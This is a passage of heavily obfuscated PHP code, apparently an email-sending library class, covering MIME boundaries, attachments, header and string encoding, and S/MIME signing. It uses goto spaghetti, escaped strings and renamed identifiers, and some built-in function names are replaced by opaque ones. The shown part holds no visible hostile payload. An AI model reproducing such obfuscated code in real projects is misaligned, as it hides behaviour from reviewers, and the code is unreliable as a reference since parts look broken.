Exception($this->lang("\x65\155\160\x74\x79\137\x6d\x65\163\x73\x61\147\x65"), self::OsS1U); goto tKX05; jtds6: $this->setWordWrap(); goto dqdx4; f_0Db: $this->boundary[2] = "\x62\x32\137" . $this->uniqueid; goto lIzwL; limAq: eWVAn: goto nNtYW; dqdx4: $g1Iq7 = $this->Encoding; goto hlrZ_; NJmvS: $YLdN3 = static::Vz4Kt; goto xRDUF; tKX05: vQTls: goto lZX3A; nqc4q: if (!(static::GWlmS != $YLdN3 and static::hasLineLongerThanMax($this->AltBody))) { goto KTk2p; } goto NJmvS; RhPzQ: $KbIzu = $this->CharSet; goto VNMnu; mVoRh: if ($this->sign_key_file) { goto sTb4d; } goto fAhOf; xRDUF: KTk2p: goto O44UV; K6WuN: if (!$this->exceptions) { goto vQTls; } goto OG893; hJCT8: $this->boundary[1] = "\x62\61\137" . $this->uniqueid; goto f_0Db; NxJyg: if (!$this->sign_key_file) { goto ASwnt; } goto ZYtxy; DPKnX: $qKvMM = ''; goto I6QJB; PGVJs: $YLdN3 = static::BAP0e; goto cw2fd; ZYtxy: $qKvMM .= $this->getMailMIME() . static::$LE; goto dSBhA; ewBQU: $YLdN3 = $this->Encoding; goto RhPzQ; IT_US: $g1Iq7 = static::Vz4Kt; goto b4IGq; Y8aWH: sTb4d: goto LHqds; NHWfC: $SlnLq = "\165\163\55\141\x73\143\x69\x69"; goto limAq; WiAAp: CrcN3: goto nU4qT; I6QJB: $this->uniqueid = $this->generateId(); goto hJCT8; KYD6W: return $qKvMM; goto r1Irt; NWMT4: U5H01: goto KYD6W; nU4qT: if ($this->isError()) { goto joB68; } goto mVoRh; PycoS: if (!(static::spJZd == $g1Iq7 and !$this->has8bitChars($this->Body))) { goto eWVAn; } goto JhQiU; nNtYW: if (!(static::GWlmS != $this->Encoding and static::hasLineLongerThanMax($this->Body))) { goto Z65Zc; } goto IT_US; LHqds: try { goto LLoRN; k49M9: FHl2h: goto WpmWN; GhLau: $w0Ppc = @openssl_pkcs7_sign($AbsOY, $w0iWt, "\146\x69\154\145\72\x2f\x2f" . realpath($this->sign_cert_file), ["\x66\151\154\x65\x3a\57\x2f" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file); goto MY3y_; WpmWN: $qKvMM = file_get_contents($w0iWt); goto J1H_Y; c69OU: throw new Exception($this->lang("\163\151\x67\156\x69\x6e\147") . openssl_error_string()); goto YxhhA; YxhhA: goto UudV3; goto k49M9; J1H_Y: fclose($w0iWt); goto m07Lz; R8lkS: DWCCb: goto qVIu0; m07Lz: $Hhmeq = explode("\12\12", $qKvMM, 2); goto aP6xP; A354P: $w0iWt = fopen("\x70\x68\x70\x3a\x2f\x2f\164\x65\x6d\x70", "\x72\x62\x2b"); goto ozUhi; Wt7si: $w0Ppc = @openssl_pkcs7_sign($AbsOY, $w0iWt, "\x66\151\154\x65\72\57\x2f" . realpath($this->sign_cert_file), ["\x66\151\154\x65\72\x2f\57" . realpath($this->sign_key_file), $this->sign_key_pass], []); goto R8lkS; MY3y_: goto DWCCb; goto iNWCx; BkZdx: throw new Exception($this->lang("\x65\170\x74\145\156\163\151\x6f\156\137\x6d\x69\163\163\151\x6e\x67") . "\157\x70\x65\156\163\x73\154"); goto PsIVk; iNWCx: Ehqca: goto Wt7si; PsIVk: v2hba: goto Na6lS; ozUhi: fwrite($AbsOY, $qKvMM); goto ZFTgF; dyGYp: UudV3: goto ax3nz; DObGH: if ($w0Ppc) { goto FHl2h; } goto cnDtE; aP6xP: $this->MIMEHeader .= $Hhmeq[0] . static::$LE . static::$LE; goto aF8DK; Na6lS: $AbsOY = fopen("\160\x68\x70\72\x2f\57\x74\x65\x6d\x70", "\162\142\x2b"); goto A354P; ZFTgF: if (empty($this->sign_extracerts_file)) { goto Ehqca; } goto GhLau; LLoRN: if (defined("\x50\113\103\123\x37\137\124\x45\x58\124")) { goto v2hba; } goto BkZdx; aF8DK: $qKvMM = $Hhmeq[1]; goto dyGYp; cnDtE: fclose($w0iWt); goto c69OU; qVIu0: fclose($AbsOY); goto DObGH; ax3nz: } catch (Exception $AggU6) { goto iEBEP; W9xRE: AYocW: goto pjQiN; MadGy: throw $AggU6; goto W9xRE; iEBEP: $qKvMM = ''; goto ps3Hi; ps3Hi: if (!$this->exceptions) { goto AYocW; } goto MadGy; pjQiN: } goto NWMT4; hlrZ_: $SlnLq = $this->CharSet; goto PycoS; r1Irt: } protected function getBoundary($gETmj, $AKSdI, $UUHZ7, $DbPq0) { goto e0or7; cD9j4: $DbPq0 = $this->Encoding; goto oJKJf; Ht3GO: $AKSdI = $this->CharSet; goto HwViX; EBHFI: $UUHZ7 = $this->ContentType; goto w6xvP; bLmbO: if (!('' == $AKSdI)) { goto pCf1i; } goto Ht3GO; qTxe_: if (!(static::BAP0e != $DbPq0)) { goto B_hEY; } goto CyR0C; DQBB6: return $oKqtC; goto z7fIe; BSnJ1: B_hEY: goto Tw1St; tIuQF: if (!('' == $DbPq0)) { goto GO3AW; } goto cD9j4; CyR0C: $oKqtC .= $this->headerLine("\103\157\x6e\164\145\156\164\x2d\124\x72\141\156\x73\146\145\x72\55\x45\x6e\x63\157\144\151\x6e\147", $DbPq0); goto BSnJ1; yfGHa: if (!('' == $UUHZ7)) { goto pE9du; } goto EBHFI; FZIwR: $oKqtC .= static::$LE; goto qTxe_; HwViX: pCf1i: goto yfGHa; Tw1St: $oKqtC .= static::$LE; goto DQBB6; oJKJf: GO3AW: goto Po4b3; w6xvP: pE9du: goto tIuQF; Po4b3: $oKqtC .= $this->textLine("\55\55" . $gETmj); goto b8uoB; e0or7: $oKqtC = ''; goto bLmbO; b8uoB: $oKqtC .= sprintf("\103\x6f\x6e\x74\x65\156\164\55\x54\x79\x70\145\x3a\x20\45\163\73\40\143\x68\x61\x72\163\145\164\x3d\x25\163", $UUHZ7, $AKSdI); goto FZIwR; z7fIe: } protected function endBoundary($gETmj) { return static::$LE . "\x2d\55" . $gETmj . "\x2d\x2d" . static::$LE; } protected function setMessageType() { goto Q76d0; oQdB3: $this->message_type = implode("\x5f", $oerFh); goto vHK_S; o49hP: PXN2r: goto QIaxO; QIaxO: if (!$this->attachmentExists()) { goto Da_fj; } goto WVEmo; vHK_S: if (!('' == $this->message_type)) { goto VD_0N; } goto yO8Aa; KOVXY: VD_0N: goto VGw_H; yO8Aa: $this->message_type = "\160\154\141\151\156"; goto KOVXY; pr60y: if (!$this->alternativeExists()) { goto iBg_B; } goto cVIIW; Q76d0: $oerFh = []; goto pr60y; WVEmo: $oerFh[] = "\141\164\x74\141\x63\x68"; goto KuLnh; KuLnh: Da_fj: goto oQdB3; GeiqU: $oerFh[] = "\151\x6e\x6c\151\x6e\x65"; goto o49hP; cVIIW: $oerFh[] = "\x61\154\164"; goto u3bKY; ENWyv: if (!$this->inlineImageExists()) { goto PXN2r; } goto GeiqU; u3bKY: iBg_B: goto ENWyv; VGw_H: } public function headerLine($UxOLN, $TZqE1) { return $UxOLN . "\x3a\40" . $TZqE1 . static::$LE; } public function textLine($TZqE1) { return $TZqE1 . static::$LE; } public function addAttachment($q7qVx, $UxOLN = '', $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "\x61\164\164\141\x63\150\x6d\145\156\x74") { try { goto w8rB6; eAKR0: if (!('' == $oerFh)) { goto WGdBT; } goto zApKy; sjY88: if (!('' == $UxOLN)) { goto eerCX; } goto DyFuS; f5rzy: eerCX: goto LCwZt; SS4PM: EEJau: goto eAKR0; zApKy: $oerFh = static::filenameToType($q7qVx); goto nbEGB; ssmaf: $JqJrD = basename($q7qVx); goto sjY88; kctaA: throw new Exception($this->lang("\x66\x69\x6c\x65\137\x61\x63\x63\x65\x73\x73") . $q7qVx, self::zcFf8); goto SS4PM; w8rB6: if (!(!static::isPermittedPath($q7qVx) || !@is_file($q7qVx))) { goto EEJau; } goto kctaA; nbEGB: WGdBT: goto ssmaf; DyFuS: $UxOLN = $JqJrD; goto f5rzy; LCwZt: $this->attachment[] = [0 => $q7qVx, 1 => $JqJrD, 2 => $UxOLN, 3 => $DbPq0, 4 => $oerFh, 5 => false, 6 => $z9qgn, 7 => $UxOLN]; goto Sbfv7; Sbfv7: } catch (Exception $AggU6) { goto yMGZg; yMGZg: $this->setError($AggU6->getMessage()); goto TFtdY; TFtdY: $this->edebug($AggU6->getMessage()); goto qsH8j; MK71q: zO2nC: goto dZXux; NrJKr: throw $AggU6; goto MK71q; dZXux: return false; goto mP5Dc; qsH8j: if (!$this->exceptions) { goto zO2nC; } goto NrJKr; mP5Dc: } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($WXufc, $gETmj) { goto nW10h; DuczI: $p0n7r = []; goto SkJ_j; nW10h: $N2nfc = []; goto DuczI; hhtYp: return implode('', $N2nfc); goto VCW1m; YYjWu: foreach ($this->attachment as $ZuLe4) { goto atA_x; a_Dja: gIsoJ: goto S9RAv; AHZ3E: c3VXp: goto hx1An; fBPtD: $N2nfc[] = sprintf("\x43\x6f\x6e\164\145\156\164\55\x44\x69\163\x70\x6f\x73\151\x74\151\x6f\x6e\72\40\x25\163\x3b\40\x66\151\154\x65\x6e\141\155\x65\x3d\x25\163\x25\163", $z9qgn, $WwIeq, static::$LE . static::$LE); goto a_Dja; o0Ujy: $q7qVx = $ZuLe4[0]; goto RqHv8; f_lCM: $BvS5Q = $ZuLe4[5]; goto lMLxF; RRzEv: XmGkF: goto Fivfw; Nv4pz: ryX2c: goto dQPcw; kUeFr: if (!empty($UxOLN)) { goto hoKFH; } goto xbpus; VY8rQ: $a1lxU = hash("\163\x68\x61\x32\65\66", serialize($ZuLe4)); goto MvzMm; gESac: X05xL: goto Kei6C; MUWj7: $t9Ug3[] = $a1lxU; goto r1ZwT; EWtSd: kfMYC: goto VY8rQ; VBG_h: $q7qVx = ''; goto f_lCM; J3Old: if ($BvS5Q) { goto Bh3z1; } goto UW6h7; li5i7: goto XmGkF; goto MQOY5; r1ZwT: $UxOLN = $ZuLe4[2]; goto J1SAr; N6uLJ: if (!empty($WwIeq)) { goto NHRlF; } goto ChnH6; nEprl: vcKUR: goto y8wZh; q_mE_: if (preg_match("\57\133\x20\x5c\x28\134\51\x3c\x3e\100\x2c\x3b\x3a\134\x22\134\x2f\x5c\x5b\134\x5d\134\x3f\75\135\57", $WwIeq)) { goto X05xL; } goto N6uLJ; VHOj7: Jmu9T: goto r4xiI; VJ6E1: $N2nfc[] = sprintf("\x43\157\x6e\164\x65\156\164\55\111\104\72\x20\x3c\45\163\x3e\x25\x73", $Sa3tp, static::$LE); goto VHOj7; MvzMm: if (!in_array($a1lxU, $t9Ug3)) { goto gru24; } goto li5i7; HRQWh: goto vcKUR; goto AyyzR; e4Fer: $oerFh = $ZuLe4[4]; goto wHTO9; kln0L: $Sa3tp = $ZuLe4[7]; goto DuUjK; hGKgc: $N2nfc[] = sprintf("\55\55\x25\x73\x25\x73", $gETmj, static::$LE); goto kUeFr; fL2o_: $N2nfc[] = sprintf("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\124\162\x61\156\x73\x66\x65\x72\x2d\105\156\143\x6f\x64\x69\156\147\72\40\x25\163\45\x73", $DbPq0, static::$LE); goto lRbBR; R8ZZx: $Yc9br = ''; goto VBG_h; lOaKK: NHRlF: goto fBPtD; vHxS4: if (empty($Sa3tp)) { goto Jmu9T; } goto VJ6E1; pp4x6: if (!(static::BAP0e != $DbPq0)) { goto Z3MbV; } goto fL2o_; wHTO9: $z9qgn = $ZuLe4[6]; goto kln0L; rg3Gb: B5mno: goto fW1PB; dvCL4: goto CiYiL; goto sQNMA; UW6h7: $N2nfc[] = $this->encodeFile($q7qVx, $DbPq0); goto HRQWh; atA_x: if (!($ZuLe4[6] == $WXufc)) { goto cXLUJ; } goto R8ZZx; AyyzR: Bh3z1: goto i_sia; afXOH: $N2nfc[] = sprintf("\103\157\x6e\x74\x65\156\x74\55\x54\171\160\x65\x3a\40\x25\163\x3b\x20\x6e\141\155\145\x3d\x22\45\x73\42\45\x73", $oerFh, $this->encodeHeader($this->secureHeader($UxOLN)), static::$LE); goto Qd2RG; ppFhS: LH58_: goto ywa3s; p2JX0: goto XmGkF; goto NjKte; lMLxF: if ($BvS5Q) { goto c3VXp; } goto o0Ujy; S9RAv: goto B5mno; goto gESac; Tr82a: goto gIsoJ; goto lOaKK; yvMdo: $N2nfc[] = static::$LE; goto tGup4; umcRb: return ''; goto Nv4pz; DuUjK: if (!("\x69\x6e\x6c\x69\x6e\x65" == $z9qgn and array_key_exists($Sa3tp, $p0n7r))) { goto qoYHX; } goto p2JX0; r4xiI: if (!empty($z9qgn)) { goto LH58_; } goto yvMdo; lRbBR: Z3MbV: goto vHxS4; Qd2RG: CiYiL: goto pp4x6; NjKte: qoYHX: goto Cel9O; tGup4: goto YmczM; goto ppFhS; Cel9O: $p0n7r[$Sa3tp] = true; goto hGKgc; hx1An: $Yc9br = $ZuLe4[0]; goto EWtSd; xbpus: $N2nfc[] = sprintf("\103\x6f\x6e\164\x65\156\x74\55\124\171\x70\x65\72\40\45\x73\x25\x73", $oerFh, static::$LE); goto dvCL4; Kei6C: $N2nfc[] = sprintf("\103\157\156\x74\x65\156\x74\x2d\104\x69\163\x70\x6f\163\x69\164\x69\x6f\x6e\72\x20\45\x73\x3b\40\146\x69\x6c\x65\156\x61\155\x65\x3d\x22\45\163\42\x25\163", $z9qgn, $WwIeq, static::$LE . static::$LE); goto rg3Gb; ywa3s: $WwIeq = $this->encodeHeader($this->secureHeader($UxOLN)); goto q_mE_; y8wZh: if (!$this->isError()) { goto ryX2c; } goto umcRb; J1SAr: $DbPq0 = $ZuLe4[3]; goto e4Fer; fW1PB: YmczM: goto J3Old; ChnH6: $N2nfc[] = sprintf("\x43\x6f\156\164\145\x6e\164\55\104\151\163\160\157\163\x69\164\x69\x6f\x6e\x3a\40\45\x73\x25\163", $z9qgn, static::$LE . static::$LE); goto Tr82a; i_sia: $N2nfc[] = $this->encodeString($Yc9br, $DbPq0); goto nEprl; MQOY5: gru24: goto MUWj7; sQNMA: hoKFH: goto afXOH; dQPcw: $N2nfc[] = static::$LE; goto v12QU; v12QU: cXLUJ: goto RRzEv; RqHv8: goto kfMYC; goto AHZ3E; Fivfw: } goto IeAxe; ZK4gQ: $N2nfc[] = sprintf("\x2d\x2d\45\x73\x2d\55\45\x73", $gETmj, static::$LE); goto hhtYp; IeAxe: I9xYc: goto ZK4gQ; SkJ_j: $t9Ug3 = []; goto YYjWu; VCW1m: } protected function encodeFile($q7qVx, $DbPq0 = self::GWlmS) { try { goto gXxah; MNNPR: if (!(false === $HSzDl)) { goto pJSgI; } goto xXgJO; E98hJ: throw new Exception($this->lang("\146\x69\154\145\137\x6f\160\145\x6e") . $q7qVx, self::zcFf8); goto b8COk; gXxah: if (!(!static::isPermittedPath($q7qVx) || !file_exists($q7qVx))) { goto M0FKa; } goto E98hJ; NYZL7: return $HSzDl; goto DRmSu; oYz3W: $HSzDl = $this->encodeString($HSzDl, $DbPq0); goto NYZL7; xXgJO: throw new Exception($this->lang("\x66\151\154\145\137\157\x70\x65\156") . $q7qVx, self::zcFf8); goto YJ0Jw; YJ0Jw: pJSgI: goto oYz3W; os3Pj: $HSzDl = file_get_contents($q7qVx); goto MNNPR; b8COk: M0FKa: goto os3Pj; DRmSu: } catch (Exception $AggU6) { $this->setError($AggU6->getMessage()); return ''; } } public function encodeString($F2YZh, $DbPq0 = self::GWlmS) { goto RbxDZ; NpB6c: A7giQ: goto aKYOG; aKYOG: return $wP2Eq; goto OYonn; VOWDq: g5DrN: goto NpB6c; hJUcz: switch (strtolower($DbPq0)) { case static::GWlmS: $wP2Eq = chunk_split(base64_encode($F2YZh), static::QKaVA, static::$LE); goto A7giQ; case static::BAP0e: case static::spJZd: goto iRLws; h4EZE: if (!(substr($wP2Eq, -strlen(static::$LE)) != static::$LE)) { goto jK6pj; } goto fC8CL; y6dOc: jK6pj: goto y6cwT; iRLws: $wP2Eq = static::normalizeBreaks($F2YZh); goto h4EZE; y6cwT: goto A7giQ; goto CzMJ0; fC8CL: $wP2Eq .= static::$LE; goto y6dOc; CzMJ0: case static::ZyBpb: $wP2Eq = $F2YZh; goto A7giQ; case static::Vz4Kt: $wP2Eq = $this->encodeQP($F2YZh); goto A7giQ; default: $this->setError($this->lang("\145\x6e\x63\157\x64\151\x6e\147") . $DbPq0); goto A7giQ; } goto VOWDq; RbxDZ: $wP2Eq = ''; goto hJUcz; OYonn: } public function encodeHeader($F2YZh, $Y5Lx4 = "\164\145\x78\164") { goto fxCWT; pxIhD: $wP2Eq = preg_replace("\57\136\50\x2e\x2a\51\44\57\x6d", "\x20\x3d\77" . $this->CharSet . "\77{$DbPq0}\77\x5c\x31\77\x3d", $wP2Eq); goto nlHfr; DwllZ: if ($EoEEz > 0) { goto b6uuC; } goto FTNAK; fl4e3: gXfIr: goto T8k7S; f4F6R: $wP2Eq = trim(chunk_split($F2YZh, static::QKaVA, static::$LE)); goto fl4e3; edc3T: $hi4l2 = static::QKaVA - $gqBwP - 8 - strlen($this->CharSet); goto X6bYK; o58Af: goto xtDmM; goto LyayO; b_GKl: $hi4l2 = static::QKaVA - $gqBwP - 8 - strlen($this->CharSet); goto xfNyb; xfNyb: if ($this->hasMultiBytes($F2YZh)) { goto s6OzY; } goto GDl5g; T8k7S: $wP2Eq = str_replace(static::$LE, "\12", trim($wP2Eq)); goto aYyBU; IhJ6d: $wP2Eq = trim(chunk_split($wP2Eq, $hi4l2, "\xa")); goto o58Af; DNMNc: clJ20: goto VMcyQ; Qm54h: $DbPq0 = "\121"; goto edc3T; jo58p: $gqBwP = "\x6d\141\x69\154" == $this->Mailer ? 13 : 0; goto Sxpfv; LsMI8: xtDmM: goto f1wMC; HWF2i: b6uuC: goto Qm54h; E78BH: $hi4l2 -= $hi4l2 % 4; goto IhJ6d; FTNAK: if (strlen($F2YZh) > $hi4l2) { goto MrPLI; } goto VWXYz; nlHfr: goto gVxRu; goto mmwHE; yS3gy: ZWLUS: goto gYYV9; VWXYz: return $F2YZh; goto Hokjw; X6bYK: $wP2Eq = $this->encodeQ($F2YZh, $Y5Lx4); goto TfvL8; dg_Vi: $wP2Eq = str_replace("\x3d" . static::$LE, "\xa", trim($wP2Eq)); goto pxIhD; wPjhm: $wP2Eq = trim($this->wrapText($F2YZh, $hi4l2, false)); goto Jq_iP; fxCWT: $EoEEz = 0; goto wgckl; mmwHE: MrPLI: goto wPjhm; LyayO: s6OzY: goto Aw51k; Jq_iP: if (!($F2YZh == $wP2Eq)) { goto gXfIr; } goto f4F6R; TfvL8: $wP2Eq = $this->wrapText($wP2Eq, $hi4l2, true); goto dg_Vi; Aw51k: $wP2Eq = $this->base64EncodeWrapMB($F2YZh, "\xa"); goto LsMI8; DAOpZ: gVxRu: goto WtmsA; Hokjw: goto gVxRu; goto yS3gy; GDl5g: $wP2Eq = base64_encode($F2YZh); goto E78BH; VMcyQ: FKUTF: goto jo58p; f1wMC: $wP2Eq = preg_replace("\57\136\50\x2e\52\51\x24\57\155", "\40\75\77" . $this->CharSet . "\x3f{$DbPq0}\x3f\134\x31\x3f\75", $wP2Eq); goto uUuHs; aYyBU: $wP2Eq = preg_replace("\57\136\50\56\52\x29\x24\x2f\x6d", "\x20\134\x31", $wP2Eq); goto DAOpZ; WtmsA: return trim(static::normalizeBreaks($wP2Eq)); goto R7hZv; gYYV9: $DbPq0 = "\102"; goto b_GKl; uUuHs: goto gVxRu; goto HWF2i; wgckl: switch (strtolower($Y5Lx4)) { case "\160\x68\162\x61\163\145": goto WEUPA; UdZNy: goto FKUTF; goto hrHJX; O2QC3: rrJLd: goto iVTF_; w49ZN: RCDCO: goto HfkxE; iRjxq: return $wP2Eq; goto w49ZN; WEUPA: if (preg_match("\x2f\133\x5c\62\x30\x30\55\134\x33\67\67\135\x2f", $F2YZh)) { goto rrJLd; } goto A_412; iVTF_: $EoEEz = preg_match_all("\57\x5b\136\134\x30\64\60\x5c\60\x34\x31\x5c\60\64\63\55\x5c\61\63\63\x5c\x31\63\65\x2d\x5c\61\x37\66\x5d\57", $F2YZh, $LlSup); goto UdZNy; A_412: $wP2Eq = addcslashes($F2YZh, "\x0\x2e\x2e\37\x7f\x5c\x22"); goto K6vB0; K6vB0: if (!($F2YZh == $wP2Eq and !preg_match("\57\x5b\136\x41\x2d\132\141\55\172\x30\x2d\71\x21\43\x24\45\46\x27\x2a\x2b\134\x2f\x3d\x3f\x5e\137\140\x7b\x7c\175\x7e\x20\x2d\x5d\x2f", $F2YZh))) { goto RCDCO; } goto iRjxq; HfkxE: return "\x22{$wP2Eq}\x22"; goto O2QC3; hrHJX: case "\x63\x6f\x6d\155\145\x6e\164": $EoEEz = preg_match_all("\x2f\133\x28\51\42\x5d\57", $F2YZh, $LlSup); case "\164\x65\170\164": default: $EoEEz += preg_match_all("\57\x5b\x5c\60\x30\x30\55\134\60\x31\x30\x5c\x30\61\x33\134\60\61\x34\134\x30\61\x36\55\x5c\60\x33\67\x5c\x31\x37\67\55\134\x33\67\67\x5d\57", $F2YZh, $LlSup); goto FKUTF; } goto DNMNc; Yamsx: if ($EoEEz > strlen($F2YZh) / 3) { goto ZWLUS; } goto DwllZ; Sxpfv: $hi4l2 = static::QKaVA - $gqBwP; goto Yamsx; R7hZv: } public function hasMultiBytes($F2YZh) { goto HDw8B; eYieV: K5fv9: goto RBpqb; yC2zM: return strlen($F2YZh) > jMM3D($F2YZh, $this->CharSet); goto eYieV; RBpqb: return false; goto u7mZw; HDw8B: if (!function_exists("\112\115\155\63\104")) { goto K5fv9; } goto yC2zM; u7mZw: } public function has8bitChars($Gt6CU) { return (bool) preg_match("\57\x5b\x5c\170\70\x30\x2d\134\170\x46\x46\135\x2f", $Gt6CU); } public function base64EncodeWrapMB($F2YZh, $nqqWv = null) { goto W_ZtU; JWbtC: $pdg5x = jMM3d($F2YZh, $this->CharSet); goto BZxat; Ql0t7: p08QJ: goto tWmCS; TA7OI: $Bkv4C += $xzrCO; goto cf_Oq; ZOP3y: $Bkv4C = 0; goto Ql0t7; lXpAL: if (strlen($LX8bz) > $B3Rsy) { goto m_z3o; } goto uqpue; nd4Pr: if (!(null === $nqqWv)) { goto nXW6f; } goto zlysk; GgzT2: wDdQZ: goto OUG2d; uqpue: KW13d: goto U1S3p; sNjvF: OGC5G: goto TA7OI; W_ZtU: $ijD2X = "\x3d\x3f" . $this->CharSet . "\77\102\x3f"; goto pvBJf; hW63C: $hO7CE = $pdg5x / strlen($F2YZh); goto KIoTE; HB8H2: $Zqc2I = 0; goto BjEbu; BZxat: $B3Rsy = 75 - strlen($ijD2X) - strlen($rAKej); goto hW63C; tWmCS: if (!($Bkv4C < $pdg5x)) { goto wDdQZ; } goto HB8H2; cf_Oq: goto p08QJ; goto GgzT2; ZCX49: $wP2Eq = ''; goto nd4Pr; pvBJf: $rAKej = "\x3f\x3d"; goto ZCX49; fZyNH: nXW6f: goto JWbtC; KHgz0: $LX8bz = tG5cl($F2YZh, $Bkv4C, $xzrCO, $this->CharSet); goto wiQkp; KIoTE: $XHCpi = floor($B3Rsy * $hO7CE * 0.75); goto ZOP3y; BjEbu: m_z3o: goto nr7dw; EOiue: ++$Zqc2I; goto lXpAL; U1S3p: $wP2Eq .= $LX8bz . $nqqWv; goto sNjvF; zlysk: $nqqWv = static::$LE; goto fZyNH; OUG2d: return substr($wP2Eq, 0, -strlen($nqqWv)); goto zZElr; wiQkp: $LX8bz = base64_encode($LX8bz); goto EOiue; nr7dw: $xzrCO = $XHCpi - $Zqc2I; goto KHgz0; zZElr: } public function encodeQP($Yc9br) { return static::normalizeBreaks(quoted_printable_encode($Yc9br)); } public function encodeQ($F2YZh, $Y5Lx4 = "\164\145\170\164") { goto XbKhF; x99_Y: array_unshift($LlSup[0], "\75"); goto kGx1G; ADDei: unset($LlSup[0][$sokHT]); goto x99_Y; nJbEY: FIzrE: goto I3pM_; kGx1G: wgXjC: goto qN0rv; WiWyh: tAGPc: goto N5lXG; bxUbw: return str_replace("\x20", "\137", $wP2Eq); goto AlD6a; MhPBz: switch (strtolower($Y5Lx4)) { case "\x70\x68\x72\x61\163\145": $fQ4Vu = "\x5e\x41\x2d\132\141\55\172\60\x2d\71\41\52\53\x5c\57\40\x2d"; goto fkcOL; case "\x63\157\x6d\x6d\x65\x6e\164": $fQ4Vu = "\134\50\134\51\42"; case "\x74\x65\x78\x74": default: $fQ4Vu = "\134\60\x30\60\55\134\x30\61\61\x5c\x30\61\x33\x5c\x30\61\64\x5c\60\61\66\x2d\x5c\60\x33\67\x5c\60\67\x35\x5c\60\x37\x37\x5c\x31\x33\67\x5c\61\67\67\55\x5c\63\67\67" . $fQ4Vu; goto fkcOL; } goto WiWyh; Ak4WK: $LlSup = []; goto lJz2g; gb6t2: $sokHT = array_search("\75", $LlSup[0]); goto GlxBC; XbKhF: $fQ4Vu = ''; goto vbtTn; N5lXG: fkcOL: goto Ak4WK; GlxBC: if (!(false !== $sokHT)) { goto wgXjC; } goto ADDei; vbtTn: $wP2Eq = str_replace(["\xd", "\12"], '', $F2YZh); goto MhPBz; I3pM_: ZABGe: goto bxUbw; qN0rv: foreach (array_unique($LlSup[0]) as $PSGXq) { $wP2Eq = str_replace($PSGXq, "\x3d" . sprintf("\45\60\62\130", ord($PSGXq)), $wP2Eq); R1kDT: } goto nJbEY; lJz2g: if (!preg_match_all("\57\133{$fQ4Vu}\x5d\x2f", $wP2Eq, $LlSup)) { goto ZABGe; } goto gb6t2; AlD6a: } public function addStringAttachment($Yc9br, $JqJrD, $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "\x61\164\164\x61\143\x68\x6d\145\156\x74") { goto qxByn; EfGOP: RHsJA: goto F_7SP; F_7SP: $this->attachment[] = [0 => $Yc9br, 1 => $JqJrD, 2 => basename($JqJrD), 3 => $DbPq0, 4 => $oerFh, 5 => true, 6 => $z9qgn, 7 => 0]; goto eCXUT; aoORP: $oerFh = static::filenameToType($JqJrD); goto EfGOP; qxByn: if (!('' == $oerFh)) { goto RHsJA; } goto aoORP; eCXUT: } public function addEmbeddedImage($q7qVx, $Sa3tp, $UxOLN = '', $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "\x69\x6e\154\x69\156\145") { goto yKcEc; qNPTR: yGkLd: goto aeIZV; tBeyA: $UxOLN = $JqJrD; goto BNYSF; yKcEc: if (!(!static::isPermittedPath($q7qVx) || !@is_file($q7qVx))) { goto fnlLM; } goto Ie6mr; o7JKT: return false; goto pTIGH; BNYSF: G32fO: goto v12Fi; aeIZV: $JqJrD = basename($q7qVx); goto uQ4u6; Ie6mr: $this->setError($this->lang("\146\151\x6c\145\x5f\141\x63\x63\145\x73\x73") . $q7qVx); goto o7JKT; v12Fi: $this->attachment[] = [0 => $q7qVx, 1 => $JqJrD, 2 => $UxOLN, 3 => $DbPq0, 4 => $oerFh, 5 => false, 6 => $z9qgn, 7 => $Sa3tp]; goto Zuzuk; O1Rjp: if (!('' == $oerFh)) { goto yGkLd; } goto HroiE; uQ4u6: if (!('' == $UxOLN)) { goto G32fO; } goto tBeyA; pTIGH: fnlLM: goto O1Rjp; Zuzuk: return true; goto E8JqS; HroiE: $oerFh = static::filenameToType($q7qVx); goto qNPTR; E8JqS: } public function addStringEmbeddedImage($Yc9br, $Sa3tp, $UxOLN = '', $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "\151\x6e\154\151\x6e\145") { goto eUjwc; J50He: iXC8r: goto MwUcO; JT0AH: return true; goto k8YRW; slutT: $oerFh = static::filenameToType($UxOLN); goto J50He; MwUcO: $this->attachment[] = [0 => $Yc9br, 1 => $UxOLN, 2 => $UxOLN, 3 => $DbPq0, 4 => $oerFh, 5 => true, 6 => $z9qgn, 7 => $Sa3tp]; goto JT0AH; eUjwc: if (!('' == $oerFh and !empty($UxOLN))) { goto iXC8r; } goto slutT; k8YRW: } protected function cidExists($Sa3tp) { goto g0YHV; KVnf6: ZdBDn: goto lXKso; g0YHV: foreach ($this->attachment as $ZuLe4) { goto UMHsk; A6BmC: IES9F: goto wjutf; UMHsk: if (!("\x69\x6e\154\x69\x6e\145" == $ZuLe4[6] and $Sa3tp == $ZuLe4[7])) { goto XiCFe; } goto N5hzt; uFRSU: XiCFe: goto A6BmC; N5hzt: return true; goto uFRSU; wjutf: } goto KVnf6; lXKso: return false; goto CQlM2; CQlM2: } public function inlineImageExists() { goto XhK1K; K85mU: Qmtbs: goto Xmifv; Xmifv: return false; goto DdifZ; XhK1K: foreach ($this->attachment as $ZuLe4) { goto YtE9f; YtE9f: if (!("\151\156\154\151\156\x65" == $ZuLe4[6])) { goto D_bcY; } goto Z_mWP; lAZcK: D_bcY: goto iv6O3; iv6O3: ZSWqu: goto StTxy; Z_mWP: return true; goto lAZcK; StTxy: } goto K85mU; DdifZ: } public function attachmentExists() { goto j36_v; Ssx_N: return false; goto dHms_; DZcbv: IQe00: goto Ssx_N; j36_v: foreach ($this->attachment as $ZuLe4) { goto akpR0; mMZ2x: Nt1g1: goto OlRzJ; OlRzJ: v061g: goto gd_b4; akpR0: if (!("\x61\164\164\x61\143\150\x6d\145\156\164" == $ZuLe4[6])) { goto Nt1g1; } goto pzKjn; pzKjn: return true; goto mMZ2x; gd_b4: } goto DZcbv; dHms_: } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($nPdtN) { $this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($vS0Gu) use($nPdtN) { return $vS0Gu[0] != $nPdtN; }); } public function clearAddresses() { goto u8HH6; u8HH6: foreach ($this->to as $cIRlt) { unset($this->all_recipients[strtolower($cIRlt[0])]); CkkEb: } goto Fm0A7; TLPwG: 